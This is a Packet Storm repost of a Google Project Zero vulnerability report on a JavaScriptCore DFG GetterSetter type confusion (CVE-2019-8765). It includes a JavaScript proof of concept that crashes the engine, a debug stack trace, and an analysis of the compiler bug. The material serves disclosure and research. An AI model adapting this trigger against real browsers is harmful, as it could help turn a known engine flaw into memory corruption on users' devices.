what you don't know can hurt you
Home Files News &[SERVICES_TAB]About Contact Add New

JavaScriptCore GetterSetter Type Confusion

JavaScriptCore GetterSetter Type Confusion
Posted Oct 30, 2019
Authored by saelo, Google Security Research

JavaScriptCore (JSC) GetterSetter suffers from a type confusion vulnerability during DFG compilation.

tags | exploit
advisories | CVE-2019-8765
SHA-256 | f8e60930397de757314b85c289c63228a5b19761b6793d77e58b54ffc9aab262

JavaScriptCore GetterSetter Type Confusion

Change Mirror Download
JSC: GetterSetter type confusion during DFG compilation

The following JavaScript program, found by Fuzzilli and slightly modified, crashes JavaScriptCore built from HEAD and the current stable release (/System/Library/Frameworks/JavaScriptCore.framework/Resources/jsc):

let notAGetterSetter = {whatever: 42};

function v2(v5) {
const v10 = Object();
if (v5) {
const v12 = {set:Array};
const v14 = Object.defineProperty(v10,\"length\",v12);
const v15 = (140899729)[140899729];
} else {
v10.length = notAGetterSetter;
}
const v18 = new Uint8ClampedArray(49415);
v18[1] = v10;
const v19 = v10.length;
let v20 = 0;
while (v20 < 100000) {
v20++;
}
}
const v26 = v2();
for (let v32 = 0; v32 < 1000; v32++) {
const v33 = v2(true);
}

/*
Crashes with:
ASSERTION FAILED: from.isCell() && from.asCell()->JSCell::inherits(*from.asCell()->vm(), std::remove_pointer<To>::type::info())
../../Source/JavaScriptCore/runtime/JSCast.h(44) : To JSC::jsCast(JSC::JSValue) [To = JSC::GetterSetter *]
1 0x1111ada79 WTFCrash
2 0x1111ada99 WTFCrashWithSecurityImplication
3 0x10ffb8f55 JSC::GetterSetter* JSC::jsCast<JSC::GetterSetter*>(JSC::JSValue)
4 0x10ffaf820 JSC::DFG::AbstractInterpreter<JSC::DFG::InPlaceAbstractState>::executeEffects(unsigned int, JSC::DFG::Node*)
5 0x10ff9f37b JSC::DFG::AbstractInterpreter<JSC::DFG::InPlaceAbstractState>::execute(unsigned int)
6 0x10ff9def2 JSC::DFG::CFAPhase::performBlockCFA(JSC::DFG::BasicBlock*)
7 0x10ff9d957 JSC::DFG::CFAPhase::performForwardCFA()
8 0x10ff9d647 JSC::DFG::CFAPhase::run()
9 0x10ff9cc61 bool JSC::DFG::runAndLog<JSC::DFG::CFAPhase>(JSC::DFG::CFAPhase&)
10 0x10ff6c65b bool JSC::DFG::runPhase<JSC::DFG::CFAPhase>(JSC::DFG::Graph&)
11 0x10ff6c625 JSC::DFG::performCFA(JSC::DFG::Graph&)
12 0x110279031 JSC::DFG::Plan::compileInThreadImpl()
13 0x110274fa6 JSC::DFG::Plan::compileInThread(JSC::DFG::ThreadData*)
14 0x11052a9bb JSC::DFG::Worklist::ThreadBody::work()
15 0x1111b3c69 WTF::AutomaticThread::start(WTF::AbstractLocker const&)::$_0::operator()() const
16 0x1111b38a9 WTF::Detail::CallableWrapper<WTF::AutomaticThread::start(WTF::AbstractLocker const&)::$_0, void>::call()
17 0x1102c433a WTF::Function<void ()>::operator()() const
18 0x1111f0350 WTF::Thread::entryPoint(WTF::Thread::NewThreadContext*)
19 0x111285525 WTF::wtfThreadEntryPoint(void*)
20 0x7fff5a7262eb _pthread_body
21 0x7fff5a729249 _pthread_start
22 0x7fff5a72540d thread_start
*/

The assertion indicates that a JSCell is incorrectly downcasted to a GetterSetter [1] (a pseudo object used to implement property getters/setter). In non debug builds, a type confusion then follows.

Below is my preliminary analysis of the cause of the bug.

The function v2 is eventually JIT compiled by the FTL JIT compiler. Initially, it will create the following (pseudo) DFG IR for it:

# Block 0 (before if-else):
44: NewObject(...)
<jump to block 1 or 2 depending on v5>

# Block 1 (the if part):
... <install .length property on @44>
// Code for const v15 = (140899729)[140899729];
ForceOSRExit
Unreachable

# Block 2 (the else part)
PutByOffset @44, notAGetterSetter
PutStructure

# Block 3 (after the if-else):
...
// Code for v10.length. Due to feedback from previous executions, DFG
// JIT speculates that the if branch will be taken and that it will see
// v10 with a GetterSetter for .length here
CheckStructure @44, structureWithLengthBeingAGetterSetter
166: GetGetterSetterByOffset @44, .length // Load the GetterSetter object from @44
167: GetGetter @166 // Load the getter function from the GetterSetter
...


Here, the end of block 1 has already been marked as unreachable due to the element load from a number which will always cause a bailout.

Later, the global subexpression elimination phase [2] runs and does the following (which can be seen by enabling verbose CSE [3]):

* It determines that the GetGetterSetterByOffset node loads the named property from the object @44
* It determines that this property slot is assigned in block 2 (the else block) and that this block strictly dominates the current block (meaning that the current block can only be reached through block 2)
* This is now the case as block 1 does a bailout, so block 3 can never be reached from block 1
* As such, CSE replaces the GetGetterSetterByOffset operation with the constant for |notAGetterSetter| (as that is what is assigned in block 2).

At this point the IR is incorrect as the input to a GetGetter operation is expected to be a GetterSetter object, but in this case it is not. During later optimizations, e.g. the AbstractInterpreter relies on that invariant and casts the input to a GetterSetter object [4]. At that point JSC crashes in debug builds with the above assertion. It might also be possible to trigger the type confusion at runtime instead of at compile time but I have not attempted that.

Please note: this bug is subject to a 90 day disclosure deadline. After 90 days elapse or a patch has been made broadly available (whichever is earlier), the bug report will become visible to the public.


[1] https://github.com/WebKit/webkit/blob/87064d847a0f1b22a9bb400647647fe4004a4ccd/Source/JavaScriptCore/runtime/GetterSetter.h#L43
[2] https://github.com/WebKit/webkit/blob/87064d847a0f1b22a9bb400647647fe4004a4ccd/Source/JavaScriptCore/dfg/DFGCSEPhase.h#L49
[3] https://github.com/WebKit/webkit/blob/87064d847a0f1b22a9bb400647647fe4004a4ccd/Source/JavaScriptCore/dfg/DFGCSEPhase.cpp#L51
[4] https://github.com/WebKit/webkit/blob/87064d847a0f1b22a9bb400647647fe4004a4ccd/Source/JavaScriptCore/dfg/DFGAbstractInterpreterInlines.h#L2811


Related CVE Numbers: CVE-2019-8765.



Found by: saelo@google.com

Login or Register to add favorites

File Archive:

April 2024

  • Su
  • Mo
  • Tu
  • We
  • Th
  • Fr
  • Sa
  • 1
    Apr 1st
    10 Files
  • 2
    Apr 2nd
    26 Files
  • 3
    Apr 3rd
    40 Files
  • 4
    Apr 4th
    6 Files
  • 5
    Apr 5th
    26 Files
  • 6
    Apr 6th
    0 Files
  • 7
    Apr 7th
    0 Files
  • 8
    Apr 8th
    22 Files
  • 9
    Apr 9th
    14 Files
  • 10
    Apr 10th
    10 Files
  • 11
    Apr 11th
    13 Files
  • 12
    Apr 12th
    14 Files
  • 13
    Apr 13th
    0 Files
  • 14
    Apr 14th
    0 Files
  • 15
    Apr 15th
    30 Files
  • 16
    Apr 16th
    0 Files
  • 17
    Apr 17th
    0 Files
  • 18
    Apr 18th
    0 Files
  • 19
    Apr 19th
    0 Files
  • 20
    Apr 20th
    0 Files
  • 21
    Apr 21st
    0 Files
  • 22
    Apr 22nd
    0 Files
  • 23
    Apr 23rd
    0 Files
  • 24
    Apr 24th
    0 Files
  • 25
    Apr 25th
    0 Files
  • 26
    Apr 26th
    0 Files
  • 27
    Apr 27th
    0 Files
  • 28
    Apr 28th
    0 Files
  • 29
    Apr 29th
    0 Files
  • 30
    Apr 30th
    0 Files

Top Authors In Last 30 Days

File Tags

Systems

packet storm

© 2022 Packet Storm. All rights reserved.

Services
Security Services
Hosting By
Rokasec
close